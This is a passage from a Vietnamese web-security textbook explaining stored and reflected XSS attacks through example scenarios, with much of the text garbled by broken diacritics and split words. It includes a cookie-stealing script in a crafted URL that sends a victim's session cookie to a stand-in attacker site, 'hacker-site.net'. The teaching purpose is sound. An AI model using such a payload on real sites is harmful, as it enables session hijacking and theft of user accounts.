b Kịch bản Giả thiết Bob là ch s h u c a m t website và Mallory là ng i dùng ác tính ủ ở ữ ủ ộ ườhay k t n công K ch b n mẻ ấ ị ả ột tấn công Stored XSS nh sau: ư
- Bob có 1 website cho phép người dùng đăng các thông điệp và n i dung khác ộCác n i dung này có th ộ ể được các người dùng khác xem lại;
- Mallory phát hi n website c a Bob t n t i l h ng an ninh cho phép t n công ệ ủ ồ ạ ỗ ổ ấXSS;
- Mallory đăng một bài vi t có n i dung gây tranh cãi, có khế ộ ả năng thu hút nhiều người dùng đọc Mã tấn công XSS được khéo léo nhúng vào bài vi t; ế
- Khi người dùng tải bài viết của Mallory, thông tin lưu trong cookie và các thông tin nhạy cảm khác trong phiên làm vi c có th b ệ ể ị đánh cắp và gửi đến máy ch củ ủa Mallory mà h không h biọ ề ết;
- Sau đó Mallory có thể ử ụng thông tin đánh cắp được để trục lợ s d i
Trang 392.1.2.2 Reflected XSS
a Giới thiệu
T n công Reflected XSS th ng xu t hi n khi dấ ườ ấ ệ ữ liệu do người dùng cung cấp được sử dụng b i script trên máy ch tạo ra kết quả và hiển th lại ngay cho ng i ở ủ để ị ườdùng D ng t n công XSS này th ng xu t hi n trên các máy tìm ki m, ho c các trang ạ ấ ườ ấ ệ ế ặ
có tính năng tìm kiếm, như biểu diễn trên Hình 2.2, trong đó mã XSS được nhập vào ô
từ khóa tìm ki m, ho c vào chu i truy vế ặ ỗ ấn trong địa ch ỉURL và được th c hi n khi trình ự ệduyệt t i k t quả ế ả tìm kiếm
Hình 2.2 Bi u di n chể ễ ạy mã script trong tấ n công Reflected XSS
Hình th c t n công Reflected XSS th ng g p nh t là k t n công g i và bứ ấ ườ ặ ấ ẻ ấ ử ẫy người dùng truy nh p m t URL khai thác có ch a mã t n công XSS thông qua email ậ ộ ứ ấhay tin nh n Ví d sau giắ ụ ải thích rõ hơn kỹ thu t này Gi s m t URL truy nh p mậ ả ử ộ ậ ột trang web có dạng: example.com/?name=John Smith Khi thực thi, trang web hi n thể ị:
Hello John Smith N u chuy n URL thành: example.com/?name=<script> ế ểalert(document.cookie) </script> Khi được thực thi, trang web hi n th : Hello Toàn b ể ị ộcookie c a phiên làm viủ ệc được hi n th trên 1 pop-up trên màn hình Ph n mã script ể ị ầkhông hi n th nh ng vể ị ư ẫn được th c thi trên trình duy t c a ng i dùng K t n công có ự ệ ủ ườ ẻ ấ
thể thay hàm alert(document.cookie) thành đoạn mã g i cookie c a ngử ủ ười dùng đến máy chủ của mình Hình 2.3 miêu tả các bước điển hình được thực hiện trong tấn công Reflected XSS th c hi n b i tin t c (Hacker) nhự ệ ở ặ ằm đánh cắp dữ liệ ưu l u trong phiên (Session) làm vi c c a ngệ ủ ười dùng hay nạn nhân
Trang 40Hình 2.3 Các bước trong tấn công Reflected XSS
b Kịch bản Giả thiết website example.com có ch a l h ng cho phép t n công Reflected XSS ứ ỗ ổ ấ
và website hacker-site.net là trang c a k t n công (hacker) t o ra K ch b n m t tủ ẻ ấ ạ ị ả ộ ấn công Reflected XSS như sau:
- Người dùng đăng nhập trang example.com và gi sả ử được gán phiên (session):
Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4
- Bằng cách nào đó (bằng email hoặc tin nh n), k t n công (hacker) gắ ẻ ấ ửi được cho người dùng m t URL có d ng: ộ ạ
http://example.com/?name=<script>var+i=new+Image; +i.src=‗http://hacker-site.net/‘%2bdocument.cookie;</script>
- N n nhân truy nhạ ập đến URL trên
- Server ph n hả ồi cho nạn nhân, kèm với dữ liệu có trong URL (là đoạn javascript của hacker)
- Trình duyệt của nạn nhân nh n ph n h i và thậ ả ồ ực thi đoạn mã javascript
- Đoạn javascript mà hacker t o ra thạ ực tế như sau:
var i=new Image; i.src=‗http://hacker-site.net/‘+document.cookie; Dòng l nh trên b n ch t th c hi n yêu cệ ả ấ ự ệ ầu đến trang c a hacker v i tham sủ ớ ố là cookie người dùng:
GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1